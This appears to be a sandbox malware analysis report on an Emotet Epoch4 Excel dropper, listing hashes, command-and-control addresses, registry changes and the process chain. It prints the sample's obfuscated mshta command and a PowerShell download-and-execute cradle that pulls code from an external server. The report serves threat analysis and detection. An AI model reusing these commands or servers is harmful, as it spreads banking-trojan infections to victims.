emotet | 8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1

Analysis

max time kernel
149s
max time network
151s
platform
windows7_x64
resource
win7-en-20211208
submitted
21-01-2022 15:04

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Report Analysis Logs

General

Target

TOP-010122 HTGW-210122.xls
Size

70KB
MD5

54a404bdf97dec3861e86661501de08f
SHA1

d265c805ce856e563e54b014495ac663c9181d3c
SHA256

8a07b30e84df7c4db85691e055e4f39fb78621392b7a282b3b64d13a675e14b1
SHA512

09a4bcb74c1018711277aea44df07a25b751903bf97b27ecb16e30acfb9563219ec1c0f3d654095e8f8bc14224dcbd5247b8520bdb13fdb2ee7740049a647bc8

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	576	736	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1592 mshta.exe
5 296 powershell.exe
7 296 powershell.exe
9 1452 rundll32.exe
11 1452 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1328 rundll32.exe
1328 rundll32.exe
1328 rundll32.exe
1328 rundll32.exe
1612 rundll32.exe
1612 rundll32.exe
1612 rundll32.exe
1612 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Ryobjmpmdjqi\yhxvuipmwswff.btn rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1592	mshta.exe
5	296	powershell.exe
7	296	powershell.exe
9	1452	rundll32.exe
11	1452	rundll32.exe

pid	process
1328	rundll32.exe
1328	rundll32.exe
1328	rundll32.exe
1328	rundll32.exe
1612	rundll32.exe
1612	rundll32.exe
1612	rundll32.exe
1612	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Ryobjmpmdjqi\yhxvuipmwswff.btn	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

736 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

296 powershell.exe
1452 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 296 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

736 EXCEL.EXE
736 EXCEL.EXE
736 EXCEL.EXE

pid	process
736	EXCEL.EXE

pid	process
296	powershell.exe
1452	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	296	powershell.exe

pid	process
736	EXCEL.EXE
736	EXCEL.EXE
736	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 736 wrote to memory of 576	736	EXCEL.EXE	cmd.exe
PID 736 wrote to memory of 576	736	EXCEL.EXE	cmd.exe
PID 736 wrote to memory of 576	736	EXCEL.EXE	cmd.exe
PID 736 wrote to memory of 576	736	EXCEL.EXE	cmd.exe
PID 576 wrote to memory of 1592	576	cmd.exe	mshta.exe
PID 576 wrote to memory of 1592	576	cmd.exe	mshta.exe
PID 576 wrote to memory of 1592	576	cmd.exe	mshta.exe
PID 576 wrote to memory of 1592	576	cmd.exe	mshta.exe
PID 1592 wrote to memory of 296	1592	mshta.exe	powershell.exe
PID 1592 wrote to memory of 296	1592	mshta.exe	powershell.exe
PID 1592 wrote to memory of 296	1592	mshta.exe	powershell.exe
PID 1592 wrote to memory of 296	1592	mshta.exe	powershell.exe
PID 296 wrote to memory of 1964	296	powershell.exe	cmd.exe
PID 296 wrote to memory of 1964	296	powershell.exe	cmd.exe
PID 296 wrote to memory of 1964	296	powershell.exe	cmd.exe
PID 296 wrote to memory of 1964	296	powershell.exe	cmd.exe
PID 1964 wrote to memory of 1328	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1328	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1328	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1328	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1328	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1328	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1328	1964	cmd.exe	rundll32.exe
PID 1328 wrote to memory of 1612	1328	rundll32.exe	rundll32.exe
PID 1328 wrote to memory of 1612	1328	rundll32.exe	rundll32.exe
PID 1328 wrote to memory of 1612	1328	rundll32.exe	rundll32.exe
PID 1328 wrote to memory of 1612	1328	rundll32.exe	rundll32.exe
PID 1328 wrote to memory of 1612	1328	rundll32.exe	rundll32.exe
PID 1328 wrote to memory of 1612	1328	rundll32.exe	rundll32.exe
PID 1328 wrote to memory of 1612	1328	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 524	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 524	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 524	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 524	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 524	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 524	1612	rundll32.exe	rundll32.exe
PID 1612 wrote to memory of 524	1612	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1452	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1452	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1452	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1452	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1452	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1452	524	rundll32.exe	rundll32.exe
PID 524 wrote to memory of 1452	524	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\TOP-010122 HTGW-210122.xls"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:736

C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:576

C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe2.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1592

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:296

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1328

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ryobjmpmdjqi\yhxvuipmwswff.btn",WtzmGwFMVWZ
8⤵
- Suspicious use of WriteProcessMemory
PID:524

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ryobjmpmdjqi\yhxvuipmwswff.btn",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1452

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
\Users\Public\Documents\ssd.dll
MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
\Users\Public\Documents\ssd.dll
MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
\Users\Public\Documents\ssd.dll
MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
\Users\Public\Documents\ssd.dll
MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
066bf4475e852212bc2e7b24b38afbc42d49b8bbb00b6b69ec9845a9da5751e17fd961358daba946a24a5d61760fd32e0e7aff4c38c9f6297753ed2fe7a92301

Download Submit
\Users\Public\Documents\ssd.dll
MD5
5fc018538b34e891e67d7ccd6a6f5169

SHA1
f23a6451bdaf70ae014a4286b12e28f265bfe52d

SHA256
8187fdab6cf2ae48adace0a38973b64d2164aeddd5ee27eca0c55f5f8683bfaf

SHA512
